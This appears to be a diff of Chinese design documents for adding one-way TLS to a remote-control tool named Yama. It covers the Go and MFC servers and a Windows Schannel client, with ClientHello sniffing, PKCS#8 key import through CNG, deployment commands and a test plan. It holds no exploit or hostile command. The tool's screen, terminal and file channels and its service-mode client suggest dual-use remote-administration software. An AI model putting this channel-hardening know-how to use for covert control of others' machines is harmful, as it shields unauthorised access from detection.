Certificates: []tls.Certificate{cert},
|
||||
MinVersion: tls.VersionTLS12,
|
||||
// 单向 TLS:不设 ClientAuth / ClientCAs
|
||||
}
|
||||
```
|
||||
|
||||
### 5.3 `handleConnection` 检测 + 回放
|
||||
|
||||
标准 peek 回放:`bufio.Reader` 预读 6 字节,封装成 `bufferedConn`(实现 `net.Conn`,`Read` 委托给 `Reader`),判断后把已读字节一并交给目标。嗅探本身设了 `ReadTimeout` 截止,超时/EOF 则退回原始 conn 走明文,由读循环处理:
|
||||
|
||||
```go
|
||||
func (s *Server) wrapTLS(conn net.Conn) net.Conn {
|
||||
br := bufio.NewReader(conn)
|
||||
_ = conn.SetReadDeadline(time.Now().Add(s.config.ReadTimeout)) // 嗅探受超时约束
|
||||
hdr, err := br.Peek(6)
|
||||
_ = conn.SetReadDeadline(time.Time{})
|
||||
if err != nil {
|
||||
return conn // 超时/EOF:走明文,交由读循环处理
|
||||
}
|
||||
bc := &bufferedConn{Conn: conn, r: br}
|
||||
if isTLSClientHello(hdr) { // 0x16 0x03 且 b[5]==0x01
|
||||
return tls.Server(bc, s.tlsCfg) // 握手惰性,首次 Read 触发
|
||||
}
|
||||
return bc
|
||||
}
|
||||
```
|
||||
|
||||
### 5.4 握手超时
|
||||
|
||||
`handleConnection` 首次 `conn.Read` 会触发 TLS 握手,而它已按 `ReadTimeout` 设了 `SetReadDeadline`,因此握手天然受 `ReadTimeout` 约束,无需额外机制。per-IP 限流(现有)继续在握手前生效,压制握手 DoS。
|
||||
|
||||
### 5.5 明确不动的部分
|
||||
|
||||
- `parser.go` / `codec.go` / `header.go`:**零改动**。
|
||||
- `handleConnection` / `processData` / handler 栈:**零改动**(`tls.Conn` 满足 `net.Conn`)。
|
||||
|
||||
## 6. 客户端改动
|
||||
|
||||
### 6.1 证书检测
|
||||
|
||||
启动时(连接前)按优先级找信任锚:① 注册表 `Software\<exehash>\settings\tls_cert`(REG_SZ 存 PEM 正文)→ ② `settings.ini` `[settings] tls_cert` 路径 → ③ exe 同目录 `yama-ca.pem`。找到即走 TLS,否则明文。实现:`client/TlsChannel.cpp` 的 `ReadTrustAnchor()` + `TlsEnabled()`(`std::call_once` 惰性加载、线程安全、幂等)。
|
||||
|
||||
### 6.2 TLS 栈选型(已定:Schannel)
|
||||
|
||||
- **已选 Schannel(Windows 原生 SSPI)**:零第三方依赖/零额外 DLL 部署,`secur32.lib`/`crypt32.lib` 均为系统库(`secur32.lib` 已在 `CFFmpegH264Encoder.cpp:38` 链接)。
|
||||
- 信任锚(PEM/DER 正文,来自注册表或文件)经 `CryptStringToBinaryA` 解码 → `CertCreateCertificateContext` → 内存 `HCERTSTORE`;握手后 `CertGetCertificateChain` 把服务端证书链到该信任锚,`dwErrorStatus == 0` 才放行(含时间有效性)。**严格钉扎**:链引擎用 `hExclusiveRoot` 只信任该 store,排除系统根库,否则公共 CA 签发的证书也能通过。**fail-closed**。
|
||||
- 握手凭据:`SCH_CRED_MANUAL_CRED_VALIDATION | SCH_CRED_NO_DEFAULT_CREDS`,`grbitEnabledProtocols = SP_PROT_TLS1_2_CLIENT`(与 Go 端 `MinVersion: TLS 1.2` 对齐)。
|
||||
- 单向 TLS:不提供客户端证书;客户端身份仍由隧道内登录承担。
|
||||
|
||||
### 6.3 连接层封装
|
||||
|
||||
在 socket 建立后、应用协议首包前插入 TLS 握手(`IOCPClient::ConnectServer`,`m_bConnected` 置位前);`ReceiveData`/`SendTo` 改走 `TlsChannel` 会话。所有出站连接(主连接 + 子连接)统一遵循 TLS 开关,因此子连接同样被加密——服务端按连接检测,天然支持。实现:`client/TlsChannel.{h,cpp}`,接入点 `client/IOCPClient.{h,cpp}`。
|
||||
|
||||
### 6.4 关键:无静默降级(fail-closed)
|
||||
|
||||
**证书文件存在但握手失败(证书不匹配 / 中间人)时,客户端必须报错并放弃连接,禁止回退到明文。** 否则攻击者可制造降级。这必须写进实现与测试。
|
||||
|
||||
### 6.5 实现要点:Schannel 流模式 `DecryptMessage` 的缓冲重组
|
||||
|
||||
Schannel 流模式(`ISC_REQ_STREAM`)下,`DecryptMessage` 会把输入的那段 `SECBUFFER_DATA`
|
||||
**重组**为 4 段输出,而不是就地解密到原偏移:
|
||||
|
||||
| 索引 | 类型 | 内容 |
|
||||
|---|---|---|
|
||||
| `bufs[0]` | `SECBUFFER_STREAM_HEADER` | TLS 记录头(5) + 显式 nonce(8) |
|
||||
| `bufs[1]` | `SECBUFFER_DATA` | **明文** |
|
||||
| `bufs[2]` | `SECBUFFER_STREAM_TRAILER` | 认证标签 |
|
||||
| `bufs[3]` | `SECBUFFER_EXTRA` | 下一条记录的剩余密文(如有) |
|
||||
|
||||
因此客户端 `Recv` 必须从 `bufs[1].pvBuffer`/`bufs[1].cbBuffer` 取明文、`EXTRA` 从 `bufs[3]`
|
||||
取。若误用 `bufs[0]`(记录头+nonce)或从原缓冲首字节取数,会把 TLS 记录头 `17 03 03 …`
|
||||
当作明文交给协议解析器(表现为 `Unknown header`)。`Send` 方向相反:`EncryptMessage` 用
|
||||
`STREAM_HEADER/DATA/TRAILER` 三段布局,本就正确。这一处是联调阶段实际踩到的、唯一的方向性
|
||||
不对称 bug,已修复。
|
||||
|
||||
## 7. 兼容矩阵
|
||||
|
||||
| 客户端 | 服务端行为 | 结果 |
|
||||
|---|---|---|
|
||||
| 老客户端(无证书概念) | 明文路径 | 与现状完全一致 |
|
||||
| 新客户端 · 无证书 | 明文路径 | 与老客户端行为一致(默认) |
|
||||
| 新客户端 · 有证书 | TLS 路径 | 全量加密(主 + 子连接) |
|
||||
|
||||
服务端 TLS 未配置(`YAMA_TLS_CERT/KEY` 为空)时,一切与现状一致,TLS 客户端握手自然失败(fail-closed)。
|
||||
|
||||
## 8. 安全考量
|
||||
|
||||
- **TLS 提供**:机密性、完整性、服务端身份(客户端校验)、抗重放(TLS record 序号 + nonce)。即对 TLS 客户端而言,Measure 1(真加密 + 防重放)达成。
|
||||
- **TLS 不提供**(单向):客户端证书身份——仍由隧道内登录承担;对「未颁证客户端」不强制加密(这是本设计刻意保留的兼容性,也是薄弱点:部署安全性取决于最弱客户端)。
|
||||
- **明文前导**:TLS ClientHello 前几字节明文(协议固有),仅暴露「这是 TLS 客户端」,不含业务数据;客户端不设 SNI(连接目标是 IP,无域名)。
|
||||
- **子连接**:客户端统一走 TLS,screen/terminal/file 子连接一并加密;对应 Measure 2 的「源 IP 绑定」降级为纵深防御,不再是唯一防线。
|
||||
- **证书轮换**:重签服务端证书后,需向已颁证客户端重新投递新信任锚(或在证书到期前提前过渡)。自签名建议 `-days 3650`,到期前统一更换。
|
||||
- **协议强度**:`MinVersion` 固定 TLS 1.2+,套件用 Go 默认安全集(`tls.Config` 默认已排除弱套件)。
|
||||
|
||||
## 9. 部署与运维
|
||||
|
||||
### 9.1 生成证书
|
||||
|
||||
自签名(最简,客户端信任锚即 `yama-server.crt`):
|
||||
|
||||
```bash
|
||||
openssl req -x509 -newkey rsa:2048 -nodes \
|
||||
-keyout yama-server.key -out yama-server.crt \
|
||||
-days 3650 -subj "/CN=yama-server"
|
||||
```
|
||||
|
||||
或自建 CA + 签服务端证书(便于轮换,客户端信任锚为 `ca.crt`):
|
||||
|
||||
```bash
|
||||
openssl req -x509 -newkey rsa:2048 -nodes -keyout ca.key -out ca.crt -days 3650 -subj "/CN=yama-ca"
|
||||
openssl req -newkey rsa:2048 -nodes -keyout server.key -out server.csr -subj "/CN=yama-server"
|
||||
openssl x509 -req -in server.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out server.crt -days 3650
|
||||
```
|
||||
|
||||
### 9.2 服务端
|
||||
|
||||
```bash
|
||||
YAMA_TLS_CERT=/etc/yama/server.crt \
|
||||
YAMA_TLS_KEY=/etc/yama/server.key \
|
||||
./server_linux_amd64 ...
|
||||
```
|
||||
|
||||
### 9.3 客户端「颁发 + 重启」
|
||||
|
||||
首选:把信任锚 PEM 正文写入注册表值 `Software\<exehash>\settings\tls_cert`(REG_SZ),重启客户端:
|
||||
|
||||
```powershell
|
||||
$pem = Get-Content -Raw 'C:\path\yama-ca.pem'
|
||||
New-Item -Path 'HKCU:\Software\<exehash>\settings' -Force | Out-Null
|
||||
Set-ItemProperty -Path 'HKCU:\Software\<exehash>\settings' -Name 'tls_cert' -Value $pem -Type String
|
||||
```
|
||||
|
||||
- `<exehash>` = 客户端 exe 全路径小写后的 FNV 哈希(`common/iniFile.h` 的 `GetRegistryName()`)。
|
||||
- 客户端以服务(SYSTEM)运行时,注册表落在会话用户的 `HKEY_USERS\<SID>`(`GetCurrentUserRegistryKey()`)。
|
||||
- REG_SZ 直接存 PEM 正文(含换行);客户端动态读取,不受 `iniFile::GetStr` 512 字节固定缓冲限制。
|
||||
|
||||
兼容旧方式:把信任锚复制到客户端目录并命名为 `yama-ca.pem`(或经 `settings.ini` `[settings] tls_cert` 指向),重启客户端。
|
||||
|
||||
移除注册表值(或删除文件)并重启即退回明文。**远程下发/撤销信任锚属后续工作,本期仅支持本地写注册表。**
|
||||
|
||||
## 10. 测试计划
|
||||
|
||||
1. **检测单元**:`isTLSClientHello` 对 `0x16 0x03 … 0x01`(TLS 1.2/1.3 ClientHello)/ `POST ` / `Shine` / 混淆 `HELL`(首两字节恰好 `0x16 0x03` 但 `b[5]==0x00`)/ 短于 6 字节 等判定的单测(已实现 `server/go/server/tls_test.go`)。
|
||||
2. **TLS 未配置**:不设 `YAMA_TLS_*` → 纯明文,行为与现状一致。
|
||||
3. **明文回归**:老客户端 + 新客户端(无证书)均走明文,登录/屏幕/终端/文件全链路不回归。
|
||||
4. **TLS 加密**:新客户端(有证书)→ 握手成功,登录/屏幕/终端/文件子连接全部在 TLS 内跑通;抓包确认 payload 不可读。
|
||||
5. **混合并发**:明文与 TLS 客户端同时在线,互不干扰。
|
||||
6. **fail-closed**:客户端有证书但服务端证书不匹配 / 中间人 → 客户端报错断开,**不**回退明文。
|
||||
7. **握手超时 / 限流**:恶意慢握手被 `ReadTimeout` + per-IP 限流压制。
|
||||
|
||||
## 11. 分期与回滚
|
||||
|
||||
- **阶段 1(Go 服务端,本期优先)**:`Config` + `tls.Config` + `acceptLoop` 检测回放;明文路径零改动。可独立上线、独立验证——用 `openssl s_client` 或 Go 测试客户端即可联调 TLS 链路,无需真实客户端配合。
|
||||
- **阶段 2(Windows 客户端)**:证书检测 + TLS 栈 + fail-closed。
|
||||
- **阶段 3(MFC 服务端 `server/2015Remote`,延后)**:与 Go 服务端同款的 TLS 检测 + 解包接入。设计稿见 `docs/TransportTLS_MFCServer_Design.md`。
|
||||
- **回滚**:服务端清空 `YAMA_TLS_CERT/KEY` 即回到纯明文;客户端删除注册表 `tls_cert` 值(或 `yama-ca.pem` 文件)即回明文。
|
||||
|
||||
## 12. 待定问题
|
||||
|
||||
1. ~~客户端 TLS 栈最终选型~~ → **已定 Schannel**(见 §6.2,2026-10-13 落地)。
|
||||
2. ~~信任锚文件固定名(`yama-ca.pem`)是否需可配置~~ → **已改为注册表 `tls_cert` 值优先、文件回退**(见 §6.1/§9.3,2026-10-14)。
|
||||
3. 是否同步把「TLS 内去掉 XOR」列为后续精简项(当前保留 XOR,换取零协议改动)。
|
||||
4. Linux / macOS / Android 客户端的 TLS 接入排期。
|
||||
@@ -0,0 +1,280 @@
|
||||
# MFC 服务端(server/2015Remote)单向 TLS 加密设计
|
||||
|
||||
> 版本:v0.3 · 状态:**已实施并验证(屏幕 + 终端联调通过)** · 日期:2026-10-15
|
||||
> 上游依赖:`docs/TransportTLS_Design.md`(Go 服务端 + Windows 客户端,已实现并验证)。
|
||||
> 本期范围:**MFC 服务端 `server/2015Remote` 的传输层加密**(加载证书+私钥、握手、加解密、新旧客户端并存)。
|
||||
> 显式排除(本次不做,但须预埋接缝):① MFC 的 MCP 式配置 UI;② 「向在线主机下发是否启用加密传输」的指令;③ 客户端运行时热切换。
|
||||
>
|
||||
> **已拍板的三个决策(2026-10-14,见 §12)**:
|
||||
> 1. 握手采用 **方案 A(专用短命阻塞线程)**;
|
||||
> 2. 身份文件采用 **PEM + CNG(`CertPath` + `KeyPath`)**,与 Go 服务端共用同一对密钥;私钥须为 **PKCS#8**;
|
||||
> 3. 配置 **新建 `[tls]` 节**(`Enabled` / `CertPath` / `KeyPath`)。
|
||||
>
|
||||
> 需求原文(已确认):
|
||||
> 1. MFC 服务端有一个类似 MCP 的配置,可选启用传输层加密;启用时需指定一对密钥(证书 + 私钥);
|
||||
> 2. 启用后,可向在线主机发送「是否启用加密传输」的指令 —— **UI 与新指令属后期内容**;
|
||||
> 3. **新旧客户端都须支持**:同一端口同时兼容明文(老客户端)与 TLS(新客户端)。
|
||||
|
||||
## 1. 目标与范围
|
||||
|
||||
### 目标
|
||||
|
||||
- MFC 服务端在同一个 TCP 端口(6543)上,按连接自动区分「明文客户端」与「TLS 客户端」,路由到各自路径。
|
||||
- TLS 客户端解密后的字节流 == 同一套应用协议(flag 帧 + XOR + zstd),**协议解析/解压/解码零改动**。
|
||||
- 老客户端(无 TLS 概念)行为不变、零改动。
|
||||
- 服务端「启用 TLS」是**配置驱动**的:未配证书 → 纯明文;配了证书 → 新旧并存。
|
||||
|
||||
### 非目标(Non-goals,本次不做)
|
||||
|
||||
- 不做 **mTLS / 客户端证书**:单向 TLS,客户端身份仍由隧道内登录(V1 `PwdHmac` / V2 `ECDSA`)承担。
|
||||
- 不做「TLS 内去掉 XOR」的二次精简(与上游设计一致,保留 XOR 换取零协议改动)。
|
||||
- 不做 **UI**:不新增配置对话框、不加「启用加密」复选框、不加证书/私钥路径选择控件。
|
||||
- 不做 **「向在线主机下发启用/撤销加密」指令**:不下发信任锚、不发加密开关指令、不改客户端运行时状态。
|
||||
- 不做 KCP/UDP 传输(`IOCPKCPServer`)的 TLS 接入(本期只做 TCP 设备端口;KCP 另行评估)。
|
||||
|
||||
## 2. 现状与复用(IOCP 数据流 + 四个接缝)
|
||||
|
||||
MFC 服务端 TCP 接收链路:`OnAccept`(`IOCPServer.cpp:1144`)`accept` 后 `AllocateContext`(`:1289`)分配 `CONTEXT_OBJECT`,绑定 IOCP,`PostRecv`(`:1268`)投递首个 `WSARecv`(`:1278`,收进 `wsaInBuf`→`szBuffer[PACKET_LENGTH]`,`:1215`)。收满后 `HandleIO(IORead)`(`:746`)→ `OnClientReceiving`(`:892`)→ `ParseReceivedData`(`:796`)。
|
||||
|
||||
原始 socket 字节在整套流程里各只有**一个入口**和**一个出口**,这是 TLS 能做成「过滤器」而非「改写」的根本原因:
|
||||
|
||||
| 接缝 | 位置 | 作用 |
|
||||
|---|---|---|
|
||||
| ① 收包咽喉点 | `IOCPServer.cpp:805` `InCompressedBuffer.WriteBuffer(szBuffer, dwTrans)` | 原始字节进入协议解析的**唯一**位置(`szBuffer` 全文件仅此一处消费) |
|
||||
| ② 发包咽喉点 | `IOCPServer.cpp:1000` `WSASend(...wsaOutBuffer...)` | `OutCompressedBuffer` 上行的**唯一**位置 |
|
||||
| ③ 嗅探点 | `OnAccept`→`PostRecv`;`OnClientInitializing`(`:790`)现为空桩 `return TRUE` | 首次收到数据处,可挂 ClientHello 判定 |
|
||||
| ④ 状态字段 | `Server.h:332` `CONTEXT_OBJECT`(`szBuffer`/`wsaInBuf`/`InCompressedBuffer`/`InDeCompressedBuffer`/`OutCompressedBuffer`/`Parser` 等,`:359-398`) | 新增 TLS 会话指针 + 标志位 |
|
||||
|
||||
**关键结论(本设计的基础)**:TLS 作为「透明传输包装」,加解密插在 ①② 两处,③ 做新旧分流,④ 加一个 per-connection 状态。`ParseReceivedData` 内的 `Parse`/解压/`Decode`、`WriteContextData` 内的 `Encode`/压缩/掩码,**全部不动**。这与上游 Go 服务端「`tls.Conn` 满足 `net.Conn`、parser 零改动」是同一策略(见上游 §2.3)。
|
||||
|
||||
## 3. 总体方案
|
||||
|
||||
### 3.1 按连接嗅探(与 Go 服务端同款判定)
|
||||
|
||||
首次收到数据后,只看 `szBuffer` 前 6 字节:
|
||||
|
||||
- 命中 `0x16 0x03 … 0x01`(TLS 握手记录 + TLS 版本号 + ClientHello)→ TLS 路径;
|
||||
- 其它 → 明文路径(老客户端透明,一行不改)。
|
||||
|
||||
判据与 Go 端 `isTLSClientHello`(`0x16 0x03` 且 `b[5]==0x01`)**完全一致**,理由也一致:客户端会随机混淆魔数头(见上游 §2.1),明文前两字节可能恰为 `0x16 0x03`,但字节 5 对混淆头恒非 `0x01`,故三重判据误判率趋近于零。
|
||||
|
||||
### 3.2 数据路径 = 条件过滤器
|
||||
|
||||
```
|
||||
OnAccept → PostRecv
|
||||
│
|
||||
首次 IORead 完成(嗅探 szBuffer[0..5])
|
||||
┌─────┴─────┐
|
||||
明文(其它) TLS(0x16 0x03 .. 0x01)
|
||||
│ │
|
||||
ParseReceivedData TLS 握手(AcceptSecurityContext)
|
||||
(现状,零改动) │ 成功
|
||||
│ ▼
|
||||
│ 握手后:IORead → DecryptMessage → 明文 → InCompressedBuffer.WriteBuffer
|
||||
│ 发送:OutCompressedBuffer → EncryptMessage → WSASend
|
||||
└────────── 同一套 Parse/Encode/解压/压缩 ──────────┘
|
||||
```
|
||||
|
||||
明文连接与握手后的 TLS 连接,下游共用同一套 `Parse`/`Encode`/解压/压缩。唯一差别是 ①② 两处各多一个 `if (tls) 加解密 else 直通` 分支。
|
||||
|
||||
## 4. 配置设计(含未来 UI/指令的预埋)
|
||||
|
||||
### 4.1 配置面(本次定键名,UI 后期加)
|
||||
|
||||
MFC 服务端配置走 `THIS_CFG`(`config`/`iniFile`,`GetInt`/`GetStr(section,key,default)`,见 `2015Remote.cpp:481-543` 用法)。新增 `[tls]` 节,三键(**已拍板 PEM + CNG**,见 §5.6、§12):
|
||||
|
||||
```ini
|
||||
[tls]
|
||||
Enabled = 0 ; 是否启用传输层加密(0/1)
|
||||
CertPath = "" ; 服务端证书路径(PEM,-----BEGIN CERTIFICATE-----)
|
||||
KeyPath = "" ; 服务端私钥路径(PEM PKCS#8,-----BEGIN PRIVATE KEY-----)
|
||||
```
|
||||
|
||||
三键都是**短字符串路径**,不落 PEM 正文,故不受 `iniFile::GetStr` 512 字节固定缓冲限制(该限制只在「存 PEM 正文」时才成问题,客户端已为此单独绕行,见上游 §6.1)。
|
||||
|
||||
### 4.2 未来不返工的四条硬约束(本次预埋)
|
||||
|
||||
1. **配置单一访问器**:TLS 开关与身份路径只经一个中心对象 `ServerTlsIdentity` 暴露:`Load(config&)` / `IsEnabled()` / `IsReady()` / `IsLoadError()` / `Cred()`。未来 UI 改配置、指令查询「我当前是否加密态」都走这同一个入口,禁止代码里散落 `GetInt("Enabled")`。
|
||||
2. **身份加载做成可重入,绝不用 `std::call_once`**:`ServerTlsIdentity::Load(config&)` 每次调用重新加载证书+私钥并重建凭据句柄。本次启动时调一次;未来「轮换证书 / 开关切换」可再调。这是对客户端 `TlsEnabled()` 用 `std::call_once` 一次读死、不可热切换(见上游 §6.1 与 `docs/tls-cert-push-revoke-deferred` 相关记忆)的**主动规避**。
|
||||
3. **「我是否 TLS 就绪」是全局只读态,与每条连接的 TLS 态分开**:`ServerTlsIdentity::IsEnabled()`(全局配置态)/ `IsReady()`(身份加载成功)与 per-connection 的「该连接是否走 TLS/握手是否完成」是两个概念。未来指令/UI 只碰前者。
|
||||
4. **按连接嗅探本身就是为混合上线准备的**:服务端开 TLS 后,没切换的旧主机照样明文连、已切换的走 TLS。未来「下发开启指令」只改客户端行为,服务端传输层不用动。
|
||||
|
||||
## 5. 服务端改动详述
|
||||
|
||||
### 5.1 `CONTEXT_OBJECT` 字段(`Server.h`,加 4 项)
|
||||
|
||||
```cpp
|
||||
// 每连接传输层状态(单向 TLS,见 §5.2);跨线程(握手线程写 TLS_Ready,工作线程读)用 atomic 保序
|
||||
enum ServerTlsState {
|
||||
TLS_Unclassified = 0, // 尚未收到足够字节判定(缓冲 tlsPreClassify)
|
||||
TLS_Plain = 1, // 明文客户端,直通现有解析路径
|
||||
TLS_Handshaking = 2, // TLS 客户端,握手线程阻塞 AcceptSecurityContext 中
|
||||
TLS_Ready = 3, // TLS 握手完成,收包解密 / 发包加密
|
||||
};
|
||||
ServerTlsSession* tls = nullptr; // 懒分配;握手完成后承载加解密状态
|
||||
std::atomic<int> tlsState{ TLS_Unclassified }; // ServerTlsState
|
||||
std::vector<BYTE> tlsPreClassify; // 分类前缓冲的首批字节(嗅探 ClientHello 头)
|
||||
bool bSendPending = false; // 发送在途抑制(见 §5.5);受 SendLock 保护
|
||||
|
||||
void FreeTls(); // delete tls; tls = NULL;(定义在 ServerTlsSession.cpp,避免本头拖入 Schannel)
|
||||
```
|
||||
|
||||
生命周期见 §5.7:`InitMember` 时复位 `tlsState`/`tlsPreClassify`/`tls`,析构 / 回收时 `FreeTls()`。
|
||||
|
||||
### 5.2 嗅探与预分类缓冲
|
||||
|
||||
首次 `IORead` 完成时(`OnClientReceiving` 开头,`ParseReceivedData` 之前)判定:
|
||||
|
||||
- `dwTrans >= 6`:看 `szBuffer[0..5]`,一次定死明文/TLS;
|
||||
- `dwTrans < 6`(TCP 把 ClientHello 头分片,极罕见但须正确):把这 `dwTrans` 字节追加进 `tlsPreClassify`,`PostRecv` 继续收,直到攒够 6 字节再判定。判定后清空 `tlsPreClassify`。
|
||||
|
||||
明文连接判定后,把 `tlsPreClassify`(如有)+ 本次 `szBuffer` 一并按现状喂给 `ParseReceivedData`,保证分片字节不丢。
|
||||
|
||||
### 5.3 握手(已拍板方案 A)
|
||||
|
||||
服务端握手需 `AcceptSecurityContext`(Schannel 入站),与客户端 `InitializeSecurityContext`(出站)**不通用**,需新写。数据阶段的 `DecryptMessage`/`EncryptMessage` 是同步缓冲变换,与异步收发包天然兼容,两个方案都复用。
|
||||
|
||||
**方案 A:专用握手线程(阻塞式,已实施)**
|
||||
- 首次 `IORead` 判定为 TLS 后,此刻 `WSARecv` 已因完成回调结束、socket 上**无 pending overlapped 操作**,可安全转交一个短命线程做阻塞握手。
|
||||
- 线程内用**与客户端 `TlsChannel::Handshake` 同型的阻塞 Schannel 循环**跑 `AcceptSecurityContext`(`TlsChannel.cpp` 已证明该模式可靠),把已收到的 ClientHello 字节(`tlsPreClassify`,可能是分片)作为初始输入,后续 handshake 航程走阻塞 `recv`/`send`;握手前把 socket 切回阻塞态并设 15s 收发超时。
|
||||
- 成功 → `tlsState.store(TLS_Ready)`,`PostRecv` 投递首个 `IORead`,回到 IOCP 正常流程;失败 → 关连接(fail-closed,§8)。
|
||||
- 优点:复用客户端已验证的阻塞 Schannel 代码形态、状态最少;缺点:每个 TLS 连接多一个短命线程(仅在握手期间存活)。
|
||||
|
||||
**方案 B:异步状态机(无额外线程,更贴合 IOCP)**
|
||||
- 握手由 `IORead`/`IOWrite` 完成回调推进:每次回调喂一段握手字节给 `AcceptSecurityContext`,按其返回(`SEC_I_CONTINUE_NEEDED` → 继续收/发;`SEC_E_OK` → 完成)驱动下一动作。
|
||||
- 优点:无额外线程、与现有 IOCP 事件循环同构;缺点:状态管理明显更重,需把「握手待收/待发/完成」编码进 per-connection 状态。
|
||||
|
||||
**已拍板(2026-10-14)**:采用 **方案 A**(简单、复用客户端阻塞 Schannel 经验、风险低)。方案 B 留作后续压测发现短命线程开销不可接受时再演进;二者切换只影响 §5.3,不影响 ①②④ 的过滤器设计。
|
||||
|
||||
### 5.4 收包解密(接缝 ①,`ParseReceivedData` 之上)
|
||||
|
||||
`OnClientReceiving` 里,明文与 TLS 分叉:
|
||||
|
||||
```cpp
|
||||
int st = ContextObject->tlsState.load(std::memory_order_acquire);
|
||||
if (st == TLS_Ready) {
|
||||
// 1) 把 szBuffer[0..dwTrans] 喂给 DecryptMessage,得到明文 plain、长度 n
|
||||
// 2) 处理 SECBUFFER_EXTRA:多余密文留存到 tls 对象内部缓冲(m_raw),下次续解(见上游 §6.5)
|
||||
// 3) plain 为空(记录分片未齐)→ PostRecv 继续收;否则 ContextObject->InCompressedBuffer.WriteBuffer(plain.data(), n);
|
||||
} else {
|
||||
ContextObject->InCompressedBuffer.WriteBuffer(szBuffer, dwTrans); // 现状,零改动
|
||||
}
|
||||
```
|
||||
|
||||
即 ① 从「一行直写」变成「条件分支」,明文侧原文不动。解密缓冲重组(`STREAM_HEADER/DATA/TRAILER/EXTRA` 四段布局)已在上游 §6.5 踩过坑、给出正确写法,服务端直接沿用(`ServerTlsSession::Decrypt` 内维护 `m_raw` 续解缓冲)。
|
||||
|
||||
### 5.5 发包加密(接缝 ②,`OnClientPreSending` 之上)
|
||||
|
||||
`OutCompressedBuffer` 是「可能残留上一轮未发完密文」的可变缓冲:异步 `WSASend` 在途时,新明文由 `WriteContextData` 追加在尾部。因此 `OnClientPreSending`(`IOCPServer.cpp`)**只加密本次新追加的尾部明文**,而非整个缓冲:
|
||||
|
||||
1. 追加前记 `oldLen = OutCompressedBuffer.GetBufferLength()`;
|
||||
2. `WriteContextData` 追加新明文后,`plainLen = totalLen - oldLen`,只对 `GetBuffer(oldLen)` 起的 `plainLen` 字节调用 `tls->Encrypt` 得密文 `wire`;
|
||||
3. `TruncateBuffer(oldLen)` 回退尾部明文(**不用 `ClearBuffer`**:后者会 `DeAllocateBuffer`,可能 `VirtualFree` 正在被在途 `WSASend` 引用的底层内存),再 `WriteBuffer(wire)` 追加新密文。
|
||||
|
||||
这样 `OutCompressedBuffer` 始终保持一串合法 TLS 记录。若把整个缓冲重新加密,会把旧密文二次加密,客户端解密后得到「旧 TLS 记录」→ `Unknown header 17 03 03`。
|
||||
|
||||
**发送唤醒的并发抑制(`bSendPending`)**:`OnClientPreSending` 每次 `Send2Client` 若都 `PostQueuedCompletionStatus(IOWrite, 0)`,则每个 `OnClientPostSending(ctx, 0)` 都会对整个缓冲再发起一次 `WSASend`;背靠背小包(终端 `resize → COMMAND_NEXT → resize`)会触发多个并发 `WSASend` 读到同一段可变内存,产出重复/错位密文(客户端 `DecryptMessage` 失败,`WSAGetLastError()` 残留 `6001 = ERROR_DECRYPTION_FAILED`)。故新增 `bool bSendPending`(受 `SendLock` 保护):仅在 `!bSendPending` 时投递 IOWrite 并置位;`OnClientPostSending` 在缓冲排空(最后一个 `WSASend` 完成)或发送失败时清零;`InitMember` 复用对象池时复位。在途 `WSASend` 的完成回调会看到排空后仍残留的新数据并继续发送,无需再投递。后续 `OnClientPostSending` 的部分发送循环照旧——它发送的已是密文字节,逐段 `WSASend` 天然成立。
|
||||
|
||||
### 5.6 证书/私钥加载(Schannel 入站凭据,已拍板 PEM+CNG)
|
||||
|
||||
`AcquireCredentialsHandle` 取 `SCHANNEL_CRED`(入站)时需一个**已绑定私钥的证书**。已拍板用 **PEM + CNG**(与 Go 端 `YAMA_TLS_CERT/KEY` 同构,服务端与 Go 共用同一对密钥):
|
||||
|
||||
- **证书**:`CryptStringToBinaryA(CRYPT_STRING_ANY)` 把 PEM 解为 DER → `CertCreateCertificateContext(X509_ASN_ENCODING)`。
|
||||
- **私钥(仅 PKCS#8)**:Schannel 入站凭据要求私钥是**「能按名重开」的持久化键**——`NCryptImportKey` 产出的是匿名临时键,绑定 `CERT_NCRYPT_KEY_HANDLE_PROP_ID` 后 Schannel 仍拿不到(`AcquireCredentialsHandle` 返回 `SEC_E_NO_CREDENTIALS` `0x8009030e`)。因此:
|
||||
1. **导入临时键并导出裸 BLOB**:`NCryptOpenStorageProvider(MS_KEY_STORAGE_PROVIDER)` + `NCryptImportKey(NCRYPT_PKCS8_PRIVATE_KEY_BLOB)` 得临时键(`hProvider` 不能传 NULL——默认提供者解析实测返回 `NTE_INVALID_HANDLE` `0x80090026`,须显式打开 KSP);再 `NCryptSetProperty(NCRYPT_EXPORT_POLICY_PROPERTY=ALLOW_PLAINTEXT_EXPORT|ALLOW_EXPORT)` 后 `NCryptExportKey(BCRYPT_RSAFULLPRIVATE_BLOB)` 得裸 RSA 私钥 BLOB。
|
||||
2. **写入持久化键**:`NCryptCreatePersistedKey(BCRYPT_RSA_ALGORITHM, "YamaServerTlsKey", AT_KEYEXCHANGE, NCRYPT_OVERWRITE_KEY_FLAG)` → `NCryptSetProperty(BCRYPT_RSAFULLPRIVATE_BLOB)` → `NCryptFinalizeKey`。`NCryptSetProperty` 只认裸 BLOB、不认 PKCS#8(直接设 `NCRYPT_PKCS8_PRIVATE_KEY_BLOB` 实测 `NTE_NOT_SUPPORTED` `0x80090029`)。
|
||||
3. **按名绑定**:`CertSetCertificateContextProperty(CERT_KEY_PROV_INFO_PROP_ID, CRYPT_KEY_PROV_INFO{ pwszContainerName="YamaServerTlsKey", pwszProvName=MS_KEY_STORAGE_PROVIDER, dwProvType=0, dwKeySpec=AT_KEYEXCHANGE })`。Schannel 经 `CryptAcquireCertificatePrivateKey` 按名在 KSP 里重开该键。
|
||||
- **入站凭据**:`AcquireCredentialsHandleA("Microsoft Unified Security Protocol Provider", SECPKG_CRED_INBOUND, &SCHANNEL_CRED{ cCreds=1, paCred=&cert, grbitEnabledProtocols=SP_PROT_TLS1_2_SERVER, dwFlags=NO_DEFAULT_CREDS })`。
|
||||
|
||||
关键点:**私钥必须是 PKCS#8**(`-----BEGIN PRIVATE KEY-----`);若拿到的是 PKCS#1(`-----BEGIN RSA/EC PRIVATE KEY-----`),用
|
||||
`openssl pkcs8 -topk8 -nocrypt -in server.key -out server.key` 转换。证书上下文生命周期交给进程级 `g_cert`,持久化键句柄交给 `g_persistedKey`;`FreeIdentity` 里按序 `FreeCredentialsHandle` → `CertFreeCertificateContext` → `NCryptDeleteKey`(`NCryptDeleteKey` 会同时释放句柄,勿再 `NCryptFreeObject`)。
|
||||
|
||||
### 5.7 生命周期(context 池化复用)
|
||||
|
||||
